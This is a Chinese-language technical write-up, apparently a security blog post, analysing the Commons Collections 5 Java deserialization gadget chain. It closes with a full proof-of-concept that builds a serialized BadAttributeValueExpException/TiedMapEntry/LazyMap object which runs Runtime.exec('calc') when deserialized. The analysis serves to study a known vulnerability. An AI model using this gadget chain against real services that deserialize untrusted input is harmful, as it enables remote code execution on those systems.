本文分析了Commons Collections 5链的利用原理,通过TiedMapEntry.toString()方法触发LazyMap.get()执行ChainedTransformer.transform(),利用BadAttributeValueExpException.readObject()在反序列化时自动调用toString()方法。
危险方法分析
和CC1_LazyMap一样通过触发LazyMap.get()执行ChainedTransformer.transform()来执行危险方法
利用链构造
与CC1_LazyMap不同的是CC1利用了sun.reflect.annotation.AnnotationInvocationHandler.invoke()+sun.reflect.annotation.AnnotationInvocationHandler.readObject()通过动态代理+readObject()触发invoke()导致执行
CC5是利用了TiedMapEntry.toString()+BadAttributeValueExpException.readObject()触发LazyMap.get()
首先来看TiedMapEntry.toString()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public String toString() { return getKey() + "=" + getValue(); }
public Object getKey() { return key; }
public Object getValue() { return map.get(key); }
public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; }
|
当触发TiedMapEntry.toString()时会间接触发map.get(key)
而map又是可控的可以直接通过构造方法传入所以直接创建一个TiedMapEntry传入lazymap即可完成TiedMapEntry的构造
再看BadAttributeValueExpException.readObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
|
此处从反序列化后的内容中获取一个val传给valObj,然后执行valObj.toString()
查看BadAttributeValueExpException的构造方法
1 2 3
| public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }
|
此处刚刚好可以传入一个val
所以后半部分直接可以new一个BadAttributeValueExpException然后将构造好的TiedMapEntry传入
当反序列化时就可以通过
BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
->LazyMap.get()
从而执行到危险代码
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class CC5 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, 1); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry); Serialize(badAttributeValueExpException); UnSerialize("CC5.bin");
} }
|